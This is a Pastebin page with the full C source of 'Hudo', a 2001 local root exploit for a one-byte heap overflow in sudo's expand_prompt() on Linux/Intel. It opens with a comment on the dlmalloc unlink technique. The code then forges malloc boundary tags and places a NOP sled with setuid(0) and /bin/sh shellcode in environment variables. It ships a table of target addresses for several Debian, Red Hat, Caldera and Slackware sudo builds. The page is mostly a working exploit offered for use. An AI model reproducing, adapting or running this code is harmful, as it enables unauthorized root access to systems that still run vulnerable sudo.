Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Hudo versus Linux/Intel Sudo - OLD but has some very handy code...
- * "Another object superstitiously believed to embody magical powers"
- * Copyright (C) 2001 MaXX
- * Okay.. I discovered a vulnerability in Sudo while I was working on
- * the Vudo exploit. All Sudo versions are vulnerable, even the latest
- * one. In the file check.c, function expand_prompt(), the author forgot
- * to reset the lastchar variable in the second loop. So if the last
- * character of the prompt (controlled by the attacker) is a '%', and if
- * the first character of the prompt is a 'u' or a 'h', the attacker can
- * trick expand_prompt() into performing an additional escape.
- * But there was not enough memory allocated for this additional escape,
- * so the attacker effectively overflowed the new_prompt buffer (but the
- * severity of the overflow depends on the length of the username or
- * hostname). Quite a weird vulnerability.
- * After a lot of research, I managed to exploit the bug.. the attacker
- * does not even need to know the password of the user used to run the
- * exploit (unlike the Vudo exploit.. exploiting the bug via nobody or
- * www-data works fine now). I transformed the whole overflow into a
- * one-byte heap overflow, which in this case was hard to exploit, but
- * was actually exploitable, and I managed to exploit the bug 7 times
- * out of the.. 7 times I tried the exploit.
- * I wrote the most important comments in the hudo.c file, but will
- * explain the main technique, and also the most reliable way to find
- * out the two command line values needed in order to obtain a root
- * shell. BTW.. if you manage to exploit Sudo on other Linux/Intel
- * architectures, please update hudo.c and let me know.. thank you.
- * Imagine you have a hole somewhere in the heap.. you store the
- * new_prompt buffer (whose size corresponds to the third command line
- * parameter of the Hudo exploit), which will be overflowed, at the
- * beginning of this hole. Now imagine that after new_prompt was stored
- * at the beginning of the hole, the size of the last_remainder chunk
- * (the rest of the hole) is equal to (0x100+16) bytes. If we overwrite
- * the LSByte of this size field with a NUL byte during the one-byte
- * overflow, the size of the last_remainder chunk will become 0x100.
- * Now imagine buffers are allocated within the apparent 0x100 bytes
- * of the last_remainder chunk, and imagine the hole is finally filled
- * with a last allocated buffer. dlmalloc will be tricked into believing
- * that the beginning of the next contiguous allocated chunk is located
- * immediately after the end of that last allocated buffer, whereas
- * it is in fact located 16 bytes after the end of the last allocated
- * buffer (dlmalloc is fooled because we transformed (0x100+16) into
- * 0x100).
- * So if the last allocated buffer is free()d, dlmalloc will try to
- * unlink() the next contiguous chunk, and will read an imaginary
- * boundary tag located within the aforementioned 16 bytes, where of
- * course the Hudo exploit stored a fake boundary tag (via the malloc()
- * and free() of a huge buffer (whose size corresponds to the second
- * command line parameter of the Hudo exploit) filled with fake boundary
- * tags).
- * That's all, folks :) Try $((16392-8)) for cmnd_args_size, and
- * $((16392-8-256-16)) for sudo_prompt_size, it will work most of the
- * time. If it does not work, a brute force or guess process is needed..
- * -- MaXX
- */
- #include <netdb.h>
- #include <pwd.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/param.h>
- #include <sys/types.h>
- #include <sys/wait.h>
- #include <unistd.h>
- /*
- * Code ripped from the malloc.c file shipped with the GNU C Library.
- */
- typedef struct malloc_chunk {
- size_t prev_size;
- size_t size;
- struct malloc_chunk * fd;
- struct malloc_chunk * bk;
- } * mchunkptr;
- #define SIZE_SZ sizeof(size_t)
- #define MALLOC_ALIGNMENT ( SIZE_SZ + SIZE_SZ )
- #define MALLOC_ALIGN_MASK ( MALLOC_ALIGNMENT - 1 )
- #define MINSIZE sizeof(struct malloc_chunk)
- size_t request2size( size_t request ) {
- size_t size;
- size = request + ( SIZE_SZ + MALLOC_ALIGN_MASK );
- if ( size < (MINSIZE + MALLOC_ALIGN_MASK) ) {
- size = MINSIZE;
- } else {
- size &= ~MALLOC_ALIGN_MASK;
- }
- return( size );
- }
- /*
- * Info concerning the architectures exploited by Hudo:
- * - description: a string describing the target architecture;
- * - fqdn: a boolean flag indicating whether or not fully-qualified
- * hostnames are required in the sudoers file (run `sudo -V' as root in
- * order to find out);
- * - function_pointer: the address of the function pointer overwritten
- * by the exploit.. the malloc or free GOT entry should be okay (run
- * `objdump -R sudo | grep malloc' for example);
- * - code_address: the 2^16 bytes heap area where the SHELL environment
- * variable is estrdup()ed by Sudo.. for example, if estrdup() returns
- * 0x08061242, code_address should be equal to 0x08060000;
- * sudo: the complete path to the Sudo binary.. should be equal to
- * "/usr/bin/sudo" almost everywhere.
- */
- typedef struct architecture_s {
- char * description;
- int fqdn;
- char * function_pointer;
- char * code_address;
- char * sudo;
- } architecture_t;
- #define FALSE 0
- #define TRUE 1
- architecture_t architectures[] = {
- {
- /* Thank you dethy */
- "Caldera OpenLinux Desktop 4.2 (Sudo version 1.6.3p5-1)",
- TRUE,
- (char *)0x0805bdcc,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- "Debian GNU/Linux 2.2 (Sudo version 1.6.2p2-2)",
- TRUE,
- (char *)0x0805c1b0,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- "Debian GNU/Linux 2.2 (Sudo version 1.6.2p2-2.1)",
- TRUE,
- (char *)0x0805c1b0,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- "Debian GNU/Linux 2.3 (Sudo version 1.6.3p7-2)",
- TRUE,
- (char *)0x0805bd50,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- "Debian GNU/Linux 2.3 (Sudo version 1.6.3p7-5)",
- TRUE,
- (char *)0x0805be10,
- (char *)0x08050000,
- "/usr/bin/sudo"
- },
- {
- "Red Hat Linux release 6.2 (Sudo version sudo-1.6.1-1)",
- FALSE,
- (char *)0x0805bf78,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- "Red Hat Linux release 6.2 (Sudo version sudo-1.6.3p6-0.6x)",
- FALSE,
- (char *)0x0805bd6c,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- /* Thank you Scrippie */
- "Red Hat Linux release 7.0 (Sudo version 1.6.3-4)",
- FALSE,
- (char *)0x0805c7ac,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- /* Thank you Scrippie (bis :) */
- "Red Hat Linux release 7.0 (Sudo version 1.6.3p6-1)",
- FALSE,
- (char *)0x0805c5cc,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- /* Thank you dethy (bis ;) */
- "Red Hat Linux release 7.1 (Sudo version 1.6.3p6-1)",
- FALSE,
- (char *)0x0805c5cc,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- /* By Eds and Dexter_Man */
- "Red Hat Linux release 7.2",
- FALSE,
- (char *)0x0805c490,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- {
- /* By Eds and Dexter_Man */
- "Red Hat Linux release 7.3",
- FALSE,
- (char *)0x0805c528,
- (char *)0x08060000,
- "/usr/bin/sudo"
- },
- { /* By dexter_man and EDS */
- "Slackware 8.0 (sudo version 1.6.3p7)",
- FALSE,
- (char *) 0x805b940,
- (char *)0x08060000,
- "/usr/bin/sudo"
- }
- };
- #define SUDO_ARGV 4
- #define SUDO_ENVP 3
- typedef struct hudo_s {
- architecture_t * p_architecture;
- size_t cmnd_args_size;
- size_t sudo_prompt_size;
- char * user_name;
- char * user_shost;
- char escape_specifier;
- size_t escaped_size;
- char * sudo_argv[ SUDO_ARGV ];
- char * sudo_envp[ SUDO_ENVP ];
- } hudo_t;
- int user_name( hudo_t * p_hudo ) {
- struct passwd * pw;
- fputs( "[+] Looking for user_name: ", stderr );
- pw = getpwuid( getuid() );
- if ( pw == NULL ) {
- perror( "\n[-] getpwuid()" );
- return( -1 );
- }
- p_hudo->user_name = pw->pw_name;
- fprintf( stderr, "\"%s\"\n", p_hudo->user_name );
- return( 0 );
- }
- /*
- * The size of a malloc chunk is always equal to a multiple of 8 bytes..
- * the minimum number of bytes needed in order to pad a user's request
- * is therefore equal to 0, the maximum number of bytes is equal to 7.
- */
- #define MIN_MALLOC_PADDING 0
- #define MAX_MALLOC_PADDING MALLOC_ALIGN_MASK
- /*
- * ESCAPE_SIZE is the length of the escape strings used by
- * expand_prompt() ("%u" or "%h").
- */
- #define ESCAPE_SIZE 2
- /*
- * Since expand_prompt() allocated memory in order to store a weird
- * escape string ("%u" or "%h"), but since the weird escape string was
- * in fact replaced with another string (the username or the hostname),
- * the username or hostname has to cover the size (ESCAPE_SIZE) of the
- * weird escape string, the malloc padding, and the least significant
- * byte of the size field associated with the next contiguous malloc
- * chunk, in order to perform a *one-byte* heap overflow.
- * The minimum size of the username or hostname is therefore equal to 3
- * bytes, the maximum size is equal to 10 bytes (should work on almost
- * every computer.. at least it will work with nobody and www-data (no
- * password is needed in order to successfully exploit Sudo)).
- */
- #define MIN_ESCAPED_SIZE ( (MIN_MALLOC_PADDING + 1) + ESCAPE_SIZE )
- #define MAX_ESCAPED_SIZE ( (MAX_MALLOC_PADDING + 1) + ESCAPE_SIZE )
- int escaped_size( hudo_t * p_hudo ) {
- if ( p_hudo->escaped_size < MIN_ESCAPED_SIZE ) {
- return( -1 );
- }
- if ( p_hudo->escaped_size > MAX_ESCAPED_SIZE ) {
- return( -1 );
- }
- return( 0 );
- }
- /*
- * Computation of the user_shost variable, ripped from Sudo, file
- * sudo.c, function init_vars().
- */
- int user_shost( hudo_t * p_hudo ) {
- char thost[ MAXHOSTNAMELEN ];
- char * user_host;
- struct hostent * hp;
- char * p;
- if ( gethostname(thost, sizeof(thost)) ) {
- user_host = "localhost";
- } else {
- user_host = strdup( thost );
- if ( user_host == NULL ) {
- return( -1 );
- }
- }
- if ( p_hudo->p_architecture->fqdn ) {
- if ( (hp = gethostbyname(user_host)) ) {
- user_host = strdup( hp->h_name );
- if ( user_host == NULL ) {
- return( -1 );
- }
- }
- }
- if ( (p = strchr(user_host, '.')) ) {
- *p = '\0';
- p_hudo->user_shost = strdup( user_host );
- if ( p_hudo->user_shost == NULL ) {
- return( -1 );
- }
- } else {
- p_hudo->user_shost = user_host;
- }
- return( 0 );
- }
- int escape_specifier_and_escaped_size( hudo_t * p_hudo ) {
- fputs( "[+] Determining escape_specifier and escaped_size: ", stderr
- );
- p_hudo->escape_specifier = 'u';
- p_hudo->escaped_size = strlen( p_hudo->user_name );
- if ( escaped_size(p_hudo) ) {
- p_hudo->escape_specifier = 'h';
- if ( user_shost(p_hudo) ) {
- fputs( "\n[-] user_shost()\n", stderr );
- return( -1 );
- }
- p_hudo->escaped_size = strlen( p_hudo->user_shost );
- if ( escaped_size(p_hudo) ) {
- fputs( "\n[-] escaped_size()\n", stderr );
- return( -1 );
- }
- }
- fprintf( stderr, "'%c' and %u bytes\n", p_hudo->escape_specifier,
- p_hudo->escaped_size );
- return( 0 );
- }
- #define SUDO_CMND "/chocolate/starfishstiqz/and/the/hot/dog/flavored/water"
- #define DUMMY_CHARACTER 'B'
- #define DUMMY_PREV_SIZE 0xdefaced
- /*
- * A lot of NOPs (2^16 bytes) are stored in the heap (in order to bypass
- * Openwall) before the actual shellcode, in order to reliably exploit
- * the code_address value given in the architectures array, and in order
- * to provide a large memory area filled with even 4 bytes integers (see
- * below).
- */
- #define NOPS_SIZE 0x10000
- /*
- * A special, even (0x08eb9090 is an even integer.. an even integer is
- * needed in order to provide a memory area filled with 4 bytes integers
- * whose PREV_INUSE bits are clear), Intel NOP, capable of skipping the
- * 4 garbage bytes introduced at offset 8 by the unlink() exploitation
- * technique.
- */
- #define NOP "\x90\x90\xeb\x08"
- #define NOP_SIZE (sizeof(NOP)-1)
- #define BK_OFFSET (sizeof(size_t) + sizeof(size_t) + sizeof(mchunkptr))
- int sudo_argv( hudo_t * p_hudo ) {
- unsigned int ui;
- size_t args_size;
- char * args;
- fputs( "[+] Building sudo_argv..\n", stderr );
- ui = 0;
- p_hudo->sudo_argv[ ui++ ] = p_hudo->p_architecture->sudo;
- p_hudo->sudo_argv[ ui++ ] = SUDO_CMND;
- args_size = p_hudo->cmnd_args_size - ( sizeof(SUDO_CMND) + SIZE_SZ );
- args = malloc( args_size );
- if ( args == NULL ) {
- perror( "[-] malloc()" );
- return( -1 );
- }
- p_hudo->sudo_argv[ ui++ ] = args;
- p_hudo->sudo_argv[ ui ] = NULL;
- memset( args, DUMMY_CHARACTER, (args_size - SIZE_SZ) % MINSIZE );
- args += ( args_size - SIZE_SZ ) % MINSIZE;
- for ( ui = 0; ui < (args_size - SIZE_SZ) / MINSIZE; ui++ ) {
- ( (mchunkptr)args )->prev_size = DUMMY_PREV_SIZE;
- ( (mchunkptr)args )->size = -NOPS_SIZE - NOP_SIZE;
- ( (mchunkptr)args )->fd = (mchunkptr)(
- p_hudo->p_architecture->function_pointer - BK_OFFSET
- );
- ( (mchunkptr)args )->bk = (mchunkptr)(
- p_hudo->p_architecture->code_address + NOPS_SIZE - NOP_SIZE
- );
- args += MINSIZE;
- }
- *args++ = DUMMY_CHARACTER;
- *args++ = DUMMY_CHARACTER;
- *args++ = DUMMY_CHARACTER;
- *args = '\0';
- return( 0 );
- }
- #define SHELL_KEY "SHELL"
- #define SUDO_PROMPT_KEY "SUDO_PROMPT"
- char shellcode[] =
- /* "\xeb\x08" fodder */
- "\x90\x90\x90\x90\x90\x90\x90\x90"
- /* setuid(0); */
- "\x31\xdb\x89\xd8\xb0\x17\xcd\x80"
- /* setgid(0); */
- "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80"
- /* execve("/bin/sh", {"/bin/sh", NULL}, NULL); */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
- #define SHELLCODE_SIZE ( sizeof(shellcode)-1 )
- #define ESCAPE_CHARACTER '%'
- #define DUMMY_STRING "Please type Control-D.. "
- #define DUMMY_STRING_SIZE ( sizeof(DUMMY_STRING)-1 )
- int sudo_envp( hudo_t * p_hudo ) {
- unsigned int ui;
- char * shell;
- size_t sudo_prompt_padding;
- char * sudo_prompt;
- size_t size;
- fputs( "[+] Building sudo_envp..\n", stderr );
- ui = 0;
- shell = malloc(sizeof(SHELL_KEY"=") + NOPS_SIZE +SHELLCODE_SIZE);
- if ( shell == NULL ) {
- perror( "[-] malloc()" );
- return( -1 );
- }
- p_hudo->sudo_envp[ ui++ ] = shell;
- /*
- * sudo_prompt_padding was obtained via the following equation:
- * escaped_size + escaped_size + sudo_prompt_padding + 1 + 1 =
- * 1 + ( sudo_prompt_size - SIZE_SZ ) + 1
- */
- sudo_prompt_padding = ( p_hudo->sudo_prompt_size - SIZE_SZ ) - 2 * p_hudo->escaped_size;
- sudo_prompt = malloc( sizeof(SUDO_PROMPT_KEY"=") + ESCAPE_SIZE + sudo_prompt_padding + ESCAPE_SIZE );
- if ( sudo_prompt == NULL ) {
- perror( "[-] malloc()" );
- return( -1 );
- }
- p_hudo->sudo_envp[ ui++ ] = sudo_prompt;
- p_hudo->sudo_envp[ ui ] = NULL;
- memcpy( shell, SHELL_KEY"=", sizeof(SHELL_KEY) );
- shell += sizeof(SHELL_KEY);
- for ( size = 0; size < NOPS_SIZE / NOP_SIZE; size++ ) {
- memcpy( shell, NOP, NOP_SIZE );
- shell += NOP_SIZE;
- }
- memcpy(shell, shellcode, SHELLCODE_SIZE);
- shell += SHELLCODE_SIZE;
- *shell = '\0';
- memcpy(sudo_prompt, SUDO_PROMPT_KEY"=", sizeof(SUDO_PROMPT_KEY));
- sudo_prompt += sizeof(SUDO_PROMPT_KEY);
- *sudo_prompt++ = p_hudo->escape_specifier;
- *sudo_prompt++ = ESCAPE_CHARACTER;
- *sudo_prompt++ = p_hudo->escape_specifier;
- memcpy( sudo_prompt,DUMMY_STRING+(DUMMY_STRING_SIZE - sudo_prompt_padding%DUMMY_STRING_SIZE),sudo_prompt_padding % DUMMY_STRING_SIZE);
- sudo_prompt += sudo_prompt_padding % DUMMY_STRING_SIZE;
- for (ui = 0; ui < sudo_prompt_padding/DUMMY_STRING_SIZE; ui++) {
- memcpy( sudo_prompt, DUMMY_STRING, DUMMY_STRING_SIZE );
- sudo_prompt += DUMMY_STRING_SIZE;
- }
- *sudo_prompt++ = ESCAPE_CHARACTER;
- *sudo_prompt = '\0';
- return( 0 );
- }
- #define SURE_KILL_ARGV 3
- #define SURE_KILL_OPTION "-K"
- /*
- * In order to systematically trick Sudo into calling the verify_user()
- * function, `sudo -K' (removes the user's timestamp entirely) should
- * always be executed before the effective exploitation process is
- * carried out.. moreover it will provide some pleasant visual effect ;)
- */
- int sure_kill(hudo_t * p_hudo) {
- unsigned int sure_kill_argv_index = 0;
- char * sure_kill_argv[ SURE_KILL_ARGV ];
- pid_t fork_pid;
- pid_t wait_pid;
- fputs( "[+] Removing the user's timestamp entirely..\n", stderr );
- sure_kill_argv[ sure_kill_argv_index++ ] =
- p_hudo->p_architecture->sudo;
- sure_kill_argv[ sure_kill_argv_index++ ] = SURE_KILL_OPTION;
- sure_kill_argv[ sure_kill_argv_index ] = NULL;
- fork_pid = fork();
- if ( fork_pid < 0 ) {
- perror( "[-] fork()" );
- return( -1 );
- } else {
- if ( fork_pid == 0 ) {
- execve( sure_kill_argv[0], sure_kill_argv, NULL );
- perror( "[-] execve()" );
- return( -1 );
- } else {
- wait_pid = wait( NULL );
- if ( wait_pid != fork_pid ) {
- perror( "[-] wait()" );
- return( -1 );
- }
- }
- }
- return(0);
- }
- void usage(char *hudo) {
- unsigned char uc;
- fputs("[+] Usage:\n", stderr);
- fprintf(stderr, "[-] %s Architecture cmnd_args_size,sudo_prompt_size\n",hudo);
- fputs("\n", stderr);
- fputs("[+] Architectures:\n", stderr);
- for (uc = 0; uc < sizeof(architectures) / sizeof(architecture_t); uc++) {
- fprintf(stderr, "[-] 0x%02x: %s\n", uc,architectures[uc].description);
- }
- }
- int main( int argc, char * argv[] ) {
- unsigned long ul;
- hudo_t hudo;
- fputs( "[+] Hudo versus Linux/Intel Sudo\n", stderr );
- fputs( "\n", stderr );
- if ( argc != 4 ) {
- usage( argv[0] == NULL ? "hudo" : argv[0] );
- return( -1 );
- }
- ul = strtoul( argv[1], NULL, 0 );
- if ( ul >= sizeof(architectures) / sizeof(architecture_t) ) {
- usage( argv[0] );
- return( -1 );
- }
- hudo.p_architecture = &( architectures[ul] );
- ul = strtoul( argv[2], NULL, 0 );
- if ( ul % MALLOC_ALIGNMENT || ul < MINSIZE ) {
- usage( argv[0] );
- return( -1 );
- }
- hudo.cmnd_args_size = ul;
- ul = strtoul( argv[3], NULL, 0 );
- if ( ul % MALLOC_ALIGNMENT || ul < MINSIZE ) {
- usage( argv[0] );
- return( -1 );
- }
- hudo.sudo_prompt_size = ul;
- if ( user_name(&hudo) ) {
- return( -1 );
- }
- if ( escape_specifier_and_escaped_size(&hudo) ) {
- return( -1 );
- }
- if ( sudo_argv(&hudo) ) {
- return( -1 );
- }
- if ( sudo_envp(&hudo) ) {
- return( -1 );
- }
- if ( sure_kill(&hudo) ) {
- return( -1 );
- }
- fputs( "[+] Executing sudo..\n", stderr );
- execve( hudo.sudo_argv[0], hudo.sudo_argv, hudo.sudo_envp );
- perror( "[-] execve()" );
- return( -1 );
- }
Advertisement
Add Comment
Please, Sign In to add comment